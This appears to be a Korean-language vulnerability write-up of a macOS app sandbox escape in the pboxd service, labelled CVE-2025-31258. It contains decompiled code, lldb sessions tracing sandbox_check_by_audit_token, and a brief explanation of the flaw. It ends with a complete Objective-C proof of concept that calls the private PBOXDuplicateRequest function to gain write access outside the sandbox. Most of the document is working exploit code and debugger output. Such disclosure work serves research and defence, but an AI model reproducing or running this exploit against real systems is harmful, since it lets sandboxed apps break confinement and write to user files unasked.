p_pid = &v65->_pid;
v31 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL;
v8 = objc_retainAutorelease(v52);
v9 = objc_msgSend(v52, "UTF8String");
v50[0] = *(_OWORD *)p_pid;
v50[1] = *((_OWORD *)p_pid + 1);
v20 = v9;
if ( !(unsigned int)sandbox_check_by_audit_token(v50, "file-write-data", v31) )
goto LABEL_19;
v28 = &v65->_pid;
v29 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL;
v27 = v52;
v10 = objc_retainAutorelease(v52);
v11 = objc_msgSend(v27, "UTF8String", v20);
v49[0] = *(_OWORD *)v28;
v49[1] = *((_OWORD *)v28 + 1);
v20 = v11;
if ( (unsigned int)sandbox_check_by_audit_token(v49, "file-read-data", v29) )
{
v26 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
1,
0,
v20));
v12 = objc_autorelease(v26);
*v62 = v26;
v66 = 0;
v57 = 1;
}
else
{
LABEL_19:
v24 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager", v20));
v25 = -[NSFileManager fileExistsAtPath:](v24, "fileExistsAtPath:", v51);
objc_release(v24);
if ( (v25 & 1) != 0 )
{
v23 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
17,
0));
v13 = objc_autorelease(v23);
*v62 = v23;
v66 = 0;
v57 = 1;
}
else
{
v22 = v51;
v14 = objc_retainAutorelease(v51);
objc_msgSend(v22, "UTF8String");
v48 = (void *)sandbox_extension_issue_file();
if ( v48 )
{
v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v48));
v17 = v61;
v61 = v16;
objc_release(v17);
free(v48);
v66 = objc_retain(v61);
}
else
{
v21 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
*__error(),
0));
v15 = objc_autorelease(v21);
*v62 = v21;
v66 = 0;
}
v57 = 1;
}
}
objc_storeStrong(&v51, 0);
objc_storeStrong(&v52, 0);
}
// (unsigned int)sandbox_check_by_audit_token(v50, "file-write-data", v31) 에서 브레이크됨
(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 18.1
frame #0: 0x0000000100743c80 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1348
com.apple.security.pboxd`___lldb_unnamed_symbol509:
-> 0x100743c80 <+1348>: bl 0x10074c570 ; symbol stub for: sandbox_check_by_audit_token
0x100743c84 <+1352>: cbz w0, 0x100743d6c ; <+1584>
0x100743c88 <+1356>: b 0x100743c8c ; <+1360>
0x100743c8c <+1360>: ldur x8, [x29, #-0x20]
Target 0: (com.apple.security.pboxd) stopped.
(lldb) po $x0
6164372752
(lldb) po $x1
4302654342
(lldb) po $x2
1610612737
(lldb) po $x3
47513354648
(lldb) po $x4
21
(lldb) po $x5
1
(lldb) po $x6
/Users/seo/Documents copy 1337
(lldb) reg read x0
x0 = 0x000000016f6cdd10
(lldb) reg read x0 x1 x2 x3 x4 x5 x6
x0 = 0x000000016f6cdd10
x1 = 0x0000000100754b86 "file-write-data"
x2 = 0x0000000060000001
x3 = 0x0000000b10044198
x4 = 0x0000000000000015
x5 = 0x0000000000000001
x6 = 0x0000000b101a9270
// (unsigned int)sandbox_check_by_audit_token(v49, "file-read-data", v29) 에서 브레이크됨
(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 20.1
frame #0: 0x0000000100743d10 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1492
com.apple.security.pboxd`___lldb_unnamed_symbol509:
-> 0x100743d10 <+1492>: bl 0x10074c570 ; symbol stub for: sandbox_check_by_audit_token
0x100743d14 <+1496>: cbz w0, 0x100743d6c ; <+1584>
0x100743d18 <+1500>: b 0x100743d1c ; <+1504>
0x100743d1c <+1504>: ldur x1, [x29, #-0xf0]
Target 0: (com.apple.security.pboxd) stopped.
(lldb) po $x0
6164372720
(lldb) po $x6
<2f557365 72732f73 656f2f44 6f63756d 656e7473 00>
만약 /Users/seo/Documents에 읽기 권한이 주어진다면… (unsigned int)sandbox_check_by_audit_token(v49, “file-read-data”, v29)에서 0을 반환해준다.
그러면 else 문으로 이동할 수 있다.
-[NSFileManager fileExistsAtPath:] 메소드를 통해 /Users/seo/Documents copy 1337 파일이 존재하는지 확인하는데, 존재하면 안된다.
이후로는 _APP_SANDBOX_READ_WRITE 매개변수와 함꼐 sandbox_extension_issue_file 호출되어 /Users/seo/Documents copy 1337 파일을 읽기/쓰기 할 수 있는 권한을 가지게 된다.
즉 /Users/seo/Documents에 읽기 권한만 주어졌지만, Documents 폴더를 벗어난 /User/seo에 새로운 파일인 Documents copy 1337 파일 또는 폴더를 생성시킬 수 있게된 셈이다.
else
{
LABEL_19:
v24 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager", v20));
v25 = -[NSFileManager fileExistsAtPath:](v24, "fileExistsAtPath:", v51);
objc_release(v24);
if ( (v25 & 1) != 0 )
{
v23 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
17,
0));
v13 = objc_autorelease(v23);
*v62 = v23;
v66 = 0;
v57 = 1;
}
else
{
v22 = v51;
v14 = objc_retainAutorelease(v51);
objc_msgSend(v22, "UTF8String");
v48 = (void *)sandbox_extension_issue_file();
if ( v48 )
{
v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v48));
v17 = v61;
v61 = v16;
objc_release(v17);
free(v48);
v66 = objc_retain(v61);
}
else
{
v21 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
*__error(),
0));
v15 = objc_autorelease(v21);
*v62 = v21;
v66 = 0;
}
v57 = 1;
}
}
objc_storeStrong(&v51, 0);
objc_storeStrong(&v52, 0);
(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 22.1
frame #0: 0x0000000100743d90 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1620
com.apple.security.pboxd`___lldb_unnamed_symbol509:
-> 0x100743d90 <+1620>: bl 0x10074dc00
0x100743d94 <+1624>: mov x8, x0
0x100743d98 <+1628>: ldr x0, [sp, #0x58]
0x100743d9c <+1632>: str w8, [sp, #0x64]
Target 0: (com.apple.security.pboxd) stopped.
(lldb) po $x0
<NSFileManager: 0x100bc2900>
(lldb) po $x1
<nil>
(lldb) po $x2
/Users/seo/Documents copy 1337
PoC code
//
// ViewController.m
// CVE-2025-31258
//
// Created by seo on 5/13/25.
//
#import "ViewController.h"
#import <dlfcn.h>
#import <sandbox.h>
#import <xpc/xpc.h>
@interface NSDocument (Private)
+ (BOOL)_validateDuplicateDocumentName:(NSString *)dupName
withOriginalName:(NSString *)origName;
@end
int writeFileAtPath(const char *path, const char *content) {
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd == -1) {
perror("open");
return 1;
}
ssize_t bytes_written = write(fd, content, strlen(content));
if (bytes_written == -1) {
perror("write");
close(fd);
return 1;
}
if (close(fd) == -1) {
perror("close");
return 1;
}
return 0;
}
int64_t PBOXDuplicateRequest(NSURL *a1, NSURL *a2, NSError *a3) {
void *rvs = dlopen("/System/Library/PrivateFrameworks/"
"RemoteViewServices.framework/RemoteViewServices",
RTLD_NOW);
void *func_ptr = dlsym(rvs, "PBOXDuplicateRequest");
typedef int (*custom_func_t)(NSURL *, NSURL *, NSError *);
custom_func_t func = (custom_func_t)func_ptr;
return func(a1, a2, a3);
}
int poc(void) {
NSString *documentsPath = [NSString stringWithFormat:@"/Users/%@/Documents", NSUserName()];
//_validateDuplicateDocumentName:withOriginalName: arg2
NSURL *documentsURL = [NSURL fileURLWithPath:documentsPath];
NSString *copiedPath =
[NSString stringWithFormat:@"/Users/%@/Documents copy 1337", NSUserName()]; //_validateDuplicateDocumentName:withOriginalName: arg1
NSURL *copiedURL = [NSURL fileURLWithPath:copiedPath];
NSError *_error = nil;
int64_t result = PBOXDuplicateRequest(documentsURL, copiedURL, _error);
NSLog(@"PBOXDuplicateRequest _error: %@\\n", _error);
printf("PBOXDuplicateRequest result: %lld\\n", result);
return 0;
}
void grant_read_permission_to_documents(void) {
NSString *documentsPath = [NSString stringWithFormat:@"/Users/%@/Documents", NSUserName()];
NSOpenPanel *panel = [NSOpenPanel openPanel];
[panel setCanChooseDirectories:YES];
[panel setCanChooseFiles:NO];
[panel setAllowsMultipleSelection:NO];
[panel setPrompt:@"Please select Document folder to grant read for POC."];
[panel setDirectoryURL:[NSURL fileURLWithPath:documentsPath]];
if ([panel runModal] == NSModalResponseOK) {
NSURL *selectedFolderURL = [panel URL];
NSLog(@"Selected Folder: %@", selectedFolderURL.path);
if(![documentsPath isEqualToString:selectedFolderURL.path]) {
NSLog(@"It's not document folder, exiting....");
exit(1);
}
}
}
@implementation ViewController
- (IBAction)do_poc:(NSButton *)sender {
grant_read_permission_to_documents();
poc();
NSString *copiedPath = [NSString stringWithFormat:@"/Users/%@/Documents copy 1337", NSUserName()];
writeFileAtPath(copiedPath.UTF8String, "Escaped Sandbox!");
}
- (void)viewDidLoad {
[super viewDidLoad];
}
- (void)setRepresentedObject:(id)representedObject {
[super setRepresentedObject:representedObject];
}
@end